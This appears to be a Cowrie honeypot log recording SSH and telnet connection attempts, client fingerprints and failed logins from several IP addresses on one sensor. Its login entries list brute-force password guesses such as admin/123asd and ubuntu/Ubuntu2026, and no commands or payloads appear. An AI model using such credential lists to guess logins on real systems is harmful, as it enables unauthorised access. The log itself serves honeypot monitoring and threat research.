{"eventid":"cowrie.login.failed","username":"admin","password":"123asd","message":"login attempt [admin/123asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:07.218264Z","src_ip":"102.213.34.99","session":"f4d55b4e2050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:08.390386Z","src_ip":"102.213.34.99","session":"f4d55b4e2050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.64160203933716,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:09.695228Z","src_ip":"162.253.42.116","session":"7f877eb46f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6189444065094,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:13.215741Z","src_ip":"162.253.42.116","session":"9747f9157667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.64241576194763,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:14.190636Z","src_ip":"162.253.42.116","session":"50a098a33d78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.164.196.60","src_port":51686,"dst_ip":"159.203.135.109","dst_port":23,"session":"1083e4bd1c9a","protocol":"telnet","message":"New connection: 188.164.196.60:51686 (159.203.135.109:23) [session: 1083e4bd1c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:17.298880Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"34edaf972d79","protocol":"ssh","message":"New connection: 165.154.5.173:32854 (10.17.0.5:22) [session: 34edaf972d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:17.950234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:17.954804Z","src_ip":"165.154.5.173","session":"34edaf972d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:18.173669Z","src_ip":"165.154.5.173","session":"34edaf972d79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"test123","message":"login attempt [ali/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:19.083121Z","src_ip":"165.154.5.173","session":"34edaf972d79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:20.305720Z","src_ip":"165.154.5.173","session":"34edaf972d79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34856,"dst_ip":"10.17.0.5","dst_port":23,"session":"3664d504300b","protocol":"telnet","message":"New connection: 162.253.42.116:34856 (10.17.0.5:23) [session: 3664d504300b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:24.242909Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":41600,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9152945c1ee","protocol":"telnet","message":"New connection: 162.253.42.116:41600 (10.17.0.5:23) [session: a9152945c1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:30.012697Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50576,"dst_ip":"159.203.135.109","dst_port":22,"session":"3824d663761c","protocol":"ssh","message":"New connection: 159.203.92.129:50576 (159.203.135.109:22) [session: 3824d663761c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:32.433299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:32.437426Z","src_ip":"159.203.92.129","session":"3824d663761c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:32.441780Z","src_ip":"159.203.92.129","session":"3824d663761c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"321","message":"login attempt [ams/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:32.452062Z","src_ip":"159.203.92.129","session":"3824d663761c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:33.480617Z","src_ip":"159.203.92.129","session":"3824d663761c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.083852767944336,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:38.314155Z","src_ip":"162.253.42.116","session":"c5b84eabd445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4be89ad955","protocol":"telnet","message":"New connection: 162.253.42.116:58334 (10.17.0.5:23) [session: 8f4be89ad955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:45.507058Z"}
{"eventid":"cowrie.session.closed","duration":30.790951013565063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:48.089705Z","src_ip":"188.164.196.60","session":"1083e4bd1c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38416,"dst_ip":"10.17.0.5","dst_port":23,"session":"72185b73f434","protocol":"telnet","message":"New connection: 162.253.42.116:38416 (10.17.0.5:23) [session: 72185b73f434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:51.604769Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"05520833c61a","protocol":"telnet","message":"New connection: 162.253.42.116:37442 (10.17.0.5:23) [session: 05520833c61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:09:51.734734Z"}
{"eventid":"cowrie.session.closed","duration":36.29974603652954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:00.542558Z","src_ip":"162.253.42.116","session":"3664d504300b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52762,"dst_ip":"10.17.0.5","dst_port":23,"session":"99996a599e8c","protocol":"telnet","message":"New connection: 162.253.42.116:52762 (10.17.0.5:23) [session: 99996a599e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:03.331470Z"}
{"eventid":"cowrie.session.closed","duration":34.41289734840393,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:04.425472Z","src_ip":"162.253.42.116","session":"a9152945c1ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff47794036b","protocol":"ssh","message":"New connection: 102.213.34.99:58668 (10.17.0.5:22) [session: 7ff47794036b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:04.819653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:04.829310Z","src_ip":"102.213.34.99","session":"7ff47794036b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:05.002499Z","src_ip":"102.213.34.99","session":"7ff47794036b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu2026","message":"login attempt [ubuntu/Ubuntu2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:05.721376Z","src_ip":"102.213.34.99","session":"7ff47794036b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:06.894705Z","src_ip":"102.213.34.99","session":"7ff47794036b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41568,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f97f5d39cc","protocol":"telnet","message":"New connection: 185.26.126.47:41568 (159.203.135.109:23) [session: 08f97f5d39cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:10.402076Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60622,"dst_ip":"159.203.135.109","dst_port":22,"session":"f419192a25db","protocol":"ssh","message":"New connection: 159.203.92.129:60622 (159.203.135.109:22) [session: f419192a25db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:17.768940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:17.786174Z","src_ip":"159.203.92.129","session":"f419192a25db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:17.794288Z","src_ip":"159.203.92.129","session":"f419192a25db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:17.853633Z","src_ip":"159.203.92.129","session":"f419192a25db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.881699085235596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:18.388678Z","src_ip":"162.253.42.116","session":"8f4be89ad955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:18.875058Z","src_ip":"159.203.92.129","session":"f419192a25db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.10051965713501,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:25.705164Z","src_ip":"162.253.42.116","session":"72185b73f434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83463668823242,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:26.569249Z","src_ip":"162.253.42.116","session":"05520833c61a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83189630508423,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:37.163249Z","src_ip":"162.253.42.116","session":"99996a599e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.00679874420166,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:10:48.408767Z","src_ip":"185.26.126.47","session":"08f97f5d39cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52570,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0b9e1d548f9","protocol":"ssh","message":"New connection: 159.203.92.129:52570 (159.203.135.109:22) [session: a0b9e1d548f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:00.043047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:00.048278Z","src_ip":"159.203.92.129","session":"a0b9e1d548f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:00.059980Z","src_ip":"159.203.92.129","session":"a0b9e1d548f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams123","message":"login attempt [ams/ams123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:00.076349Z","src_ip":"159.203.92.129","session":"a0b9e1d548f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:01.082750Z","src_ip":"159.203.92.129","session":"a0b9e1d548f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58740,"dst_ip":"10.17.0.5","dst_port":22,"session":"152aea32c8cb","protocol":"ssh","message":"New connection: 102.213.34.99:58740 (10.17.0.5:22) [session: 152aea32c8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:03.036881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:03.041970Z","src_ip":"102.213.34.99","session":"152aea32c8cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:11:03.213918Z","src_ip":"102.213.34.99","session":"152aea32c8cb","protocol":"ssh"}
